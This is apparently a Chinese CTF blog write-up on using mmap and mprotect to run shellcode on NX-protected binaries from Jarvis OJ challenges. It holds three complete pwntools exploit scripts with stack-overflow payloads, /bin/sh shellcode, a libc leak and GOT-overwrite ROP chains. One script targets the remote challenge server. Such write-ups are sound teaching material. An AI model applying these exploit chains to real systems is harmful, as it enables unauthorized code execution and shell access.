mmap和mprotect来任意执行shellcode

March 7, 2019 PWN 访问: 31 次

在Jarvis OJ平台上遇到的新姿势!一个错的shellcode让我用了两天,mmp,怪不得打不通呢!

利用mmap和mprotect来任意执行shellcode

昨天晚上没事做了一下Jarvis OJ平台上的题,发现有一题设计到了这个,之前没遇到过,所以总结一下

mmap介绍

百度百科是这样解释的:

mmap将一个文件或者其它对象映射进内存。文件被映射到多个页上,如果文件的大小不是所有页的大小之和,最后一个页不被使用的空间将会清零。mmap在用户空间映射调用系统中作用很大。
头文件 <sys/mman.h>
void* mmap(void* start,size_t length,int prot,int flags,int fd,off_t offset);
第一个参数:分配新内存的地址
第二个参数:新内存的长度(0x1000的倍数),长度单位是字节,不足一内存页按一内存页处理
第三个参数:期望的内存保护标志,不能与文件的打开模式冲突。
            PROT_EXEC(可执行)在内存中用4来表示
            PROT_READ(可读)在内存中用1来表示
            PROT_WRITE(可写)在内存中用2来表示
            PROT_NONE(不可访问)在内存中用0来表示
第四个参数:映射的类型
            MAP_FIXED()在内存中用10来表示
            MAP_SHARED()在内存中用1来表示
            MAP_PRIVATE()在内存中用2来表示
            MAP_NORESERVE()在内存中用4000来表示
            MAP_LOCKED()在内存中用2000来表示
第五个参数:文件描述符,可设为0
第六个参数:如果为文件映射,则此处代表定位到文件的那个位置,然后开始向后映射。
函数返回值:
    若该函数执行成功,mmap()返回被映射区的指针,失败时返回MAP_FAILED(-1)

用通俗的话来讲这个函数是把指定或随机分配的地址内存,以prot权限映射到自以start开始的,长度为length,而且为PAGE_SIZE单位的地址

利用方式:

用mmap获取一段rwx权限的内存,映射到制定地址处,然后将shellcode写入映射好的内存中,接着跳入布置好的shellcode

实例分析

源文件
checksec该程序发现程序开启了NX(栈不可执行)保护
拖入IDA中查看程序流程:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [esp+Ch] [ebp-Ch]
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);                            // 设置无缓冲
  printf((int)"SSCTF[InPut Data Size]");
  _isoc99_scanf("%d", &v4);
  temp = malloc(v4);
  printf((int)"SSCTF[YourData]");
  read(0, temp, v4);
  puts("[Ok!]");
  print(temp, v4);                              // 溢出点
  return 0;
}

该程序是通过可控输入的字节数来进行输入,输入的内容存到了堆中,溢出点在print函数中:

int __cdecl print(int a1, int a2)
{
  char v3; // [esp+Eh] [ebp-3Ah]
  memcpy(&v3, a1, a2);
  return puts(&v3);
}

memcpy函数是将之前存入堆中的数据拷贝到v3中,然后再调用puts函数将我们输入的内容进行输出,v3是在栈上的,那么我们就可以利用栈溢出来改变该程序的执行流程了。

攻击流程:

  • 利用mmap函数新建一个具有rwx权限的内存,这段内存的长度一定要是0x1000的倍数
  • 将shellcode写到这段内存上
  • 将程序流程劫持到这段内存上
  • 获取到shell

attack code:

#!/usr/bin/python
from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level='debug'
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
p = process("pwn250")
file = ELF("pwn250")
offset = 0x3a+4
log.info(hex(file.symbols['mmap']))
log.info(offset)
main_addr = 0x8048886
mmap_addr = 0x806df70
new_addr = 0xbeef1000
read_addr = 0x0806D510
p.recv()
p.sendline("95")
payload = offset*"a"+p32(mmap_addr)+p32(main_addr)+p32(new_addr)+p32(1024)+p32(7)+p32(34)+p32(0)+p32(0)
log.info("payload len :"+str(len(payload)))
p.recv()
p.sendline(payload)
p.recv()
gdb.attach(p)
payload2 = "a"*offset+p32(read_addr)+p32(new_addr)+p32(0)+p32(new_addr)+p32(1024)
log.info(len(payload2))
p.sendline("83")
p.recv()
p.sendline(payload2)
p.sendline(shellcode)
sleep(0.1)
p.interactive()

mprotect介绍

这个函数在百度百科上没找到,凭自己的理解:该函数把以start地址开始的、长度为len的内存区的保护属性修改为prot指定的值

int mprotect(const void *start, size_t len, int prot);
第一个参数:开始地址(该地址应是0x1000的倍数,以页方式对齐)
第二个参数:指定长度(长度也应该是0x1000的倍数)
第三个参数:指定属性
            可读可写可执行(0x111=7)

利用方式

将shellcode写进一段具有可写权限的段里,然后用mprotect将对应的段修改为可执行,再跳转到布置好的shellcode里。

实例分析(同上一个例子)

程序流程同上

攻击流程

  • 利用mprotect函数将bss段改成可读可写可执行的权限
  • 将shellcode写到bss段中
  • 将程序流程劫持到bss段上
  • 获取到shell

attack code:

from pwn import *
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
context.log_level='debug'
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80"
p = process("pwn250")
file = ELF("pwn250")
offset = 0x3a+4
main_addr = 0x8048886
read_addr = 0x0806D510
mprotect_addr = 0x806e070
bss_addr = 0x080ec000
#log.info(hex(file.bss()))
'''
mprotect(bss_addr,30,7)
'''
p.recv()
payload = "a"*offset+p32(mprotect_addr)+p32(main_addr)+p32(bss_addr)+p32(0x1000)+p32(7)
#log.info(len(payload))
p.sendline("90")
p.recv()
p.sendline(payload)
p.recv()
gdb.attach(p)
p.sendline("90")
payload2 = "a"*offset+p32(read_addr)+p32(bss_addr)+p32(0)+p32(bss_addr)+p32(0x30)
p.recv()
p.sendline(payload2)
p.sendline(shellcode)
p.recv()
sleep(0.1)
p.interactive()

level5

题目要求不能用sysytem和execve函数,要求用mmap和mprotect来获取shell
checksec发现程序开启了NX(栈不可执行),并且got表可以覆盖

➜  level3_x64.rar.8c74c402b190ac3fbef5a9ae540c40de_FILES checksec --file level3_x64
[*] '/media/wxm/Lenovo/study/ctf/Jarvis OJ/pwn/level3_x64.rar.8c74c402b190ac3fbef5a9ae540c40de_FILES/level3_x64'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

哈哈,今儿搞了一个高级的反汇编器,ghidra9.0,用着还可以吧,载入一波分析:
main函数很简单,调用了一个vulnerable_function,然后输出helloworld

跟进vulnerable_function:

漏洞点很明显,read函数可以读入的字节数过多以至于造成栈溢出,题目给出libc文件

攻击流程:

  • 泄露libc基地址
  • 利用__libc_csu_init执行任意地址来将mprotect的真实地址写入got表中
  • 将shellcode输入到bss段上
  • 利用mprotect函数将0x600000~0x601000的地址权限是可读可写可执行
  • 再利用__libc_csu_init执行任意地址执行bss段上的shellcode

我做的时候shellcode好像是一个错误的shellcode,搞得我两天都没打通,绝望。
不过在查资料的时候学到的知识也确实不少,emmmm
attack code:

#coding:utf-8
from pwn import *
context.log_level = 'debug'
'''
一筐萝卜:https://luobuming.github.io
'''
context.arch = 'amd64'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
p = remote("pwn2.jarvisoj.com",9884)
#p = process("level3_x64")
file = ELF("level3_x64")
libc = ELF("libc-2.19.so")
offset = 0x80+8
main_addr = 0x40061a
libc_mprotect = libc.symbols['mprotect']
read_plt = file.plt['read']
read_got = file.got['read']
write_got = file.got['write']
bss_addr = file.bss()
log.info(file.got)
# log.info(hex(file.bss()))
# exit(0)
jmp1 = 0x04006a6
jmp2 = 0x0400690
def use_libc_csu_init(rbx,rbp,r12,r13,r14,r15,ret_addr):
    #rdx=r13    rsi=r14 rdi=r15
    str1 =offset*"a"+p64(jmp1)+'deadbeef'+p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)+p64(jmp2)+0x38*"a"+p64(ret_addr)
    return str1
# leak real addr
p.recv()
payload = use_libc_csu_init(0,1,write_got,8,read_got,1,main_addr)
p.send(payload)
read_real = u64(p.recv()[:8])
log.info(hex(libc.symbols['mprotect']))
libc.address = read_real-libc.symbols['read']
log.info(hex(libc.address))
mprotect_addr = libc.symbols['mprotect']
# 劫持got表 __libc_start_mai --> mprotect
__libc_start_main_got_addr = file.got['__libc_start_main']
payload_2 = use_libc_csu_init(0,1,read_got,8,0x0600A48,0,main_addr)
p.send(payload_2)
p.send(p64(mprotect_addr))
# shellcode --> bss
shellcode = asm(shellcraft.amd64.sh())
print "-------"
print shellcode
p.recv()
payload_3 = use_libc_csu_init(0,1,read_got,len(shellcode)+1,bss_addr,0,main_addr)
p.send(payload_3)
p.send(shellcode)
p.recv()
# 劫持got表 __gmon_start__ --> bss_addr
__gmon_start__got_addr = file.got['__gmon_start__']
payload_4 = use_libc_csu_init(0,1,read_got,8,0x600A50,0,main_addr)
p.send(payload_4)
p.send(p64(bss_addr))
p.recv()
# 执行 mprotect
payload_5 = use_libc_csu_init(0,1,0x0600A48,7,0x1000,0x600000,main_addr)
p.send(payload_5)
p.recv()
# 执行 bss
payload_6 = use_libc_csu_init(0,1,0x600A50,0,0,0,main_addr)
p.send(payload_6)
p.interactive()

添加新评论